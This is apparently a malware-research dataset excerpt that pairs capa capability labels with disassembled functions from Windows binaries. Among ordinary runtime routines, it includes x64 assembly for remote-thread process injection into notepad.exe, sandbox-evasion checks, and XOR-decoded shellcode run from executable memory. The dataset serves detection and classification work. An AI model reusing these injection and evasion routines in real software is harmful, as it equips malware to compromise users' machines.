joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6da42080
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x6dacb8e8], eax
je 0x6da4209a
add rsp, 0x28
ret
call sub.msvcrt.dll_abort
nop

Function at 0x6da425f0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x6db6e528], 1
je 0x6da42606
call fcn.6da42560
mov ecx, dword [0x6dacb8e8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x6da42630
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.6da424a0
cmp qword [0x6db72040], 0
mov rsi, rax
je 0x6da4261a
test rax, rax
je 0x6da4261a
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rsi + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], 0xffffffffffffffff
mov qword [rsi + 0x60], 0xffffffffffffffff
mov dword [rsi + 0xb0], 0
mov qword [rsi + 0x28], 0
call rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rbx
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
lea r9, [rsi + 0x28]
mov dword [rsp + 0x20], 0
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x6da42718
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsi + 0xb8], eax
movzx eax, byte [rsi + 0x40]
mov rdx, rsi
mov dword [rsi + 0xb4], 0
mov ecx, dword [0x6dacb8e8]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rsi + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x6da42718
mov rbx, rsi
jmp 0x6da4261a
call sub.msvcrt.dll_abort
nop
nop

Function at 0x6da8f140
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rbp, rcx
mov rdi, rdx
mov esi, r8d
mov rcx, rbp
call fcn.6da8ef90
mov r8d, esi
mov rdx, rdi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
je 0x6da8f190
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x6da8f15a
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x6dacab60
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
lea r8, str.pointer___NULL
lea rcx, str.cryptlib.c
mov edx, 0x253
call fcn.6da18ae0
nop
nop
nop
nop
push rsi
push rbx
sub rsp, 0x28
cmp qword [0x6db6d1b0], 0
je 0x6dacab77
add rsp, 0x28
pop rbx
pop rsi
ret
lea rcx, str._dev_urandom
xor edx, edx
call sub.msvcrt.dll__open
cmp eax, 0xffffffff
mov ebx, eax
je 0x6dacabae
lea rdx, [0x6db6d1b0]
mov r8d, 8
mov ecx, eax
call sub.msvcrt.dll__read
mov ecx, ebx
mov esi, eax
call sub.msvcrt.dll__close
cmp esi, 8
je 0x6dacabc5
mov byte [0x6db6d1b7], 0xff
mov byte [0x6db6d1b6], 0xa
mov byte [0x6db6d1b0], 0
jmp 0x6dacab70
cmp qword [0x6db6d1b0], 0
jne 0x6dacab70
jmp 0x6dacabae
Function at 0x14001102d
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400118a0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x1400240a4]
call fcn.1400113e3
nop
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111cc
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0xffffffffffffffff
jne 0x140011915
xor eax, eax
jmp 0x14001199c
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.140011276
nop
lea rdx, [rbp + 0x3c]
mov rcx, qword [rbp + 0x420]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x14001194e
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 0x18]
jmp 0x14001199c
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.140011389
test eax, eax
je 0x14001198c
lea rdx, [rbp + 0x3c]
mov rcx, qword [rbp + 0x420]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x14001198a
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 0x18]
jmp 0x14001199c
jmp 0x14001194e
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001b040]
call fcn.140011366
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.1400111e0
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret
Function at 0x1400111ea
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011a20
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
lea rcx, [0x1400240a4]
call fcn.1400113e3
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov eax, dword [rbp + 0x130]
mov dword [rsp + 0x20], 0x20
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
mov eax, dword [rbp + 0x130]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x128]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140011b09
mov edx, 0x1f4
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
jmp 0x140011b0e
mov eax, 0xffffffff
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14001123a
Capabilities:
Terminate process

Disassembly:
jmp 0x140013bd0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112d0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014f20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014f40
xor al, al
jmp 0x140014fc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014f53
xor al, al
jmp 0x140014fc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014f7d
xor al, al
jmp 0x140014fc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014f91
xor al, al
jmp 0x140014fc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014fa3
xor al, al
jmp 0x140014fc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014fbf
xor al, al
jmp 0x140014fc1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400112fd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x1400122c0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x6a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x258], rax
lea rcx, [0x1400240a4]
call fcn.1400113e3
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov dword [rbp + 0xc4], 0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x128], 0
mov dword [rbp + 0x144], 0
mov r8d, 0xa
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 8], rax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov eax, eax
mov qword [rbp + 0x68], rax
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x168], rax
lea rax, [rbp + 0x144]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x20], rax
lea r9, [0x14001e020]
lea r8, section..data
mov edx, dword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call fcn.140011249
nop
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x168]
call fcn.14001141f
nop
lea rcx, str.notepad.exe
call fcn.14001102d
mov dword [rbp + 0x184], eax
cmp dword [rbp + 0x184], 0
je 0x140012485
mov r8d, dword [rbp + 0x184]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
je 0x140012485
mov r8d, dword [rbp + 0x68]
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x108]
call fcn.1400111ea
nop
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ac50]
call fcn.140011366
mov eax, edi
mov rcx, qword [rbp + 0x258]
xor rcx, rbp
call fcn.1400111e0
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret
Function at 0x140012e10
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001140b
movzx eax, al
test eax, eax
jne 0x140012e30
mov ecx, 7
call fcn.140011370
nop
mov byte [rsp + 0x20], 0
call fcn.140011384
mov byte [rsp + 0x21], al
cmp dword [0x14001e8a8], 1
jne 0x140012e54
mov ecx, 7
call fcn.140011370
nop
jmp 0x140012eac
cmp dword [0x14001e8a8], 0
jne 0x140012ea7
mov dword [0x14001e8a8], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111c7
test eax, eax
je 0x140012e88
mov eax, 0xff
jmp 0x140012fb1
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.14001137a
mov dword [0x14001e8a8], 2
jmp 0x140012eac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001135c
call fcn.1400112f3
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012f09
mov rcx, qword [rsp + 0x30]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x140012f09
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.14001132a
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012f3d
mov rcx, qword [rsp + 0x38]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x140012f3d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113bb
nop
call fcn.140013060
mov dword [rsp + 0x28], eax
call fcn.1400112d0
movzx eax, al
test eax, eax
jne 0x140012f5c
mov ecx, dword [rsp + 0x28]
call fcn.14001105f
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012f6b
call fcn.1400113cf
nop
xor edx, edx
mov cl, 1
call fcn.140011159
mov eax, dword [rsp + 0x28]
jmp 0x140012fb1
add rsp, 0x68
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x140003f4c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.140003b5c
add rsp, 0x28
jmp 0x140003f70
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x14001d938], rdi
jne 0x140008848
mov eax, dword [0x14001d930]
cmp eax, 1
je 0x140008868
mov eax, dword [0x14001d930]
cmp eax, ebx
jne 0x14000887f
mov dword [0x14001d930], 1
lea r13, [0x140014218]
lea rdi, [0x140014200]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x14000401c
cmp eax, ebx
jne 0x14000401c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x140004011
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x140003ffa
cmp eax, ebx
jne 0x140008875
mov eax, dword [0x14001d930]
cmp eax, 1
jne 0x14000404c
lea rdx, [0x1400141f8]
lea rcx, [0x1400141c0]
call fcn.140199000
mov dword [0x14001d930], 2
cmp r12d, ebx
jne 0x14000405b
mov rax, rbx
xchg qword [0x14001d938], rax
cmp qword [0x14001d950], rbx
jne 0x14000888e
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
je 0x1400088b7
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
jbe 0x14000409f
cmp word [rcx], 0x22
je 0x140008912
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x140004084
cmp word [rcx], bx
jne 0x1400088c1
cmp word [rcx], bx
jne 0x1400088ce
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400040e8
nop
jmp 0x1400088e6
cmp rax, rdi
jne 0x140008858
mov r12d, 1
jmp 0x140003fba
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003fa9
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x140004024
mov eax, 0xff
jmp 0x140008951
mov dword [0x14001db2c], 1
jmp 0x140004024
lea rcx, [0x14001d950]
call fcn.140011e1c
cmp eax, ebx
je 0x140004068
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x14001d950]
nop
jmp 0x140004068
mov eax, 0xff
jmp 0x140008951
cmp edx, ebx
je 0x1400040a8
jmp 0x14000408a
cmp word [rcx], 0x20
ja 0x1400040b1
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400040a8
mov dword [0x14001db28], eax
cmp dword [0x14001d30c], ebx
jne 0x1400088fc
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14001db2c], ebx
jne 0x140008910
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14001db28]
jmp 0x140008951
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
jmp 0x140004094
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
Function at 0x10007510
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x10015150], rbx
je 0x10007566
cmp rax, rbx
jne 0x10007559
mov edi, 1
jmp 0x10007566
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007540
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x1000757b
lea ecx, [rax + 0x1e]
call sub.MSVCR80.dll__amsg_exit
jmp 0x100075ba
mov eax, dword [0x10015148]
test eax, eax
jne 0x100075b0
mov dword [0x10015148], 1
lea rdx, [0x100014d0]
lea rcx, [0x100014b8]
call sub.MSVCR80.dll__initterm_e
test eax, eax
je 0x100075ba
mov eax, 0xff
jmp 0x10007714
mov dword [0x10014314], 1
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x100075e2
lea rdx, [0x100014b0]
lea rcx, [0x10001470]
call sub.MSVCR80.dll__initterm
mov dword [0x10015148], 2
test edi, edi
jne 0x100075ef
xor eax, eax
xchg qword [0x10015150], rax
cmp qword [0x10015168], 0
je 0x10007618
lea rcx, [0x10015168]
call fcn.10007b90
test eax, eax
je 0x10007618
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x10015168]
mov rax, qword [sym.imp.MSVCR80.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
nop
nop
movzx ecx, byte [rbx]
cmp cl, 0x20
ja 0x100076aa
test cl, cl
je 0x10007640
test edi, edi
jne 0x100076aa
movzx eax, byte [rbx]
test al, al
je 0x10007656
cmp al, 0x20
ja 0x10007656
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007640
test byte [rsp + 0x6c], 1
je 0x10007665
movzx r9d, word [rsp + 0x70]
jmp 0x1000766b
mov r9d, 0xa
mov r8, rbx
xor edx, edx
lea rcx, [0x10000000]
call fcn.10005300
mov dword [0x10014310], eax
cmp dword [0x100142f4], 0
jne 0x10007693
mov ecx, eax
call qword [sym.imp.MSVCR80.dll_exit]
cmp dword [0x10014314], 0
jne 0x100076a8
call qword [sym.imp.MSVCR80.dll__cexit]
mov eax, dword [0x10014310]
jmp 0x1000770d
cmp cl, 0x22
jne 0x100076bc
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
movzx ecx, cl
call qword [sym.imp.MSVCR80.dll__ismbblead]
test eax, eax
je 0x100076d2
add rbx, 1
mov qword [rsp + 0x28], rbx
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007630
jmp 0x10007714
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.10171000
add rsp, 0x28
jmp 0x10007510
Function at 0x140001230
Capabilities:
Create process on windows
Get memory capacity
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ebx, ebx
cmp dword [rsp + 0xe8], 2
jb 0x140001320
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x78]
shr rax, 0x14
cmp eax, 0x800
jb 0x140001320
mov qword [rsp + 0x30], rbx
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x68]
mov eax, dword [rsp + 0x6c]
imul rax, rcx
mov ecx, dword [rsp + 0x64]
imul rax, rcx
imul rax, qword [rsp + 0x58]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x140001320
mov al, 1
jmp 0x140001367
lea rax, [rsp + 0xb0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, str.C:Windows_notepad.exe
lea rax, [rsp + 0x100]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor al, al
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140001660
add rsp, 0x180
pop rbx
ret
Function at 0x140001380
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x2f8
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0x2e8], rax
call fcn.140001230
movzx edx, al
lea rcx, str.nao_sandbox:__d_n
call fcn.140001050
call fcn.140001230
test al, al
je 0x140001567
mov qword [rsp + 0x300], rbx
lea rdx, [rsp + 0x30]
mov ebx, 5
mov qword [rsp + 0x308], rsi
mov ecx, ebx
mov qword [rsp + 0x2f0], rdi
lea rax, str.SVP_r_r_a
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400013f0
mov rcx, qword [rax + 0x20]
mov r9d, 0x40
movups xmm0, xmmword [rax]
mov r8d, 0x3000
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov qword [rdx + 0x20], rcx
mov edx, 0x2a8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov rcx, rax
lea rax, [rsp + 0x30]
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x140001480
movups xmm0, xmmword [rax]
xor edi, edi
mov rbx, rsi
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
nop
xor byte [rbx], 0x35
lea rcx, str.x_02x
movsx edx, byte [rbx]
call fcn.140001050
inc edi
lea rbx, [rbx + 1]
cmp edi, 0x2a8
jb 0x1400014f0
mov rdi, qword [rsp + 0x2f0]
lea rcx, [0x140003368]
mov rbx, qword [rsp + 0x300]
call fcn.140001050
lea rax, [rsp + 0x2e0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rsi
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rsi, qword [rsp + 0x308]
xor eax, eax
mov rcx, qword [rsp + 0x2e8]
xor rcx, rsp
call fcn.140001660
add rsp, 0x2f8
ret
Function at 0x1400021bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002206
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002206
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002206
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002206
cmp dword [rcx + 0x84], 0xe
jbe 0x140002206
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002208
xor al, al
add rsp, 0x28
ret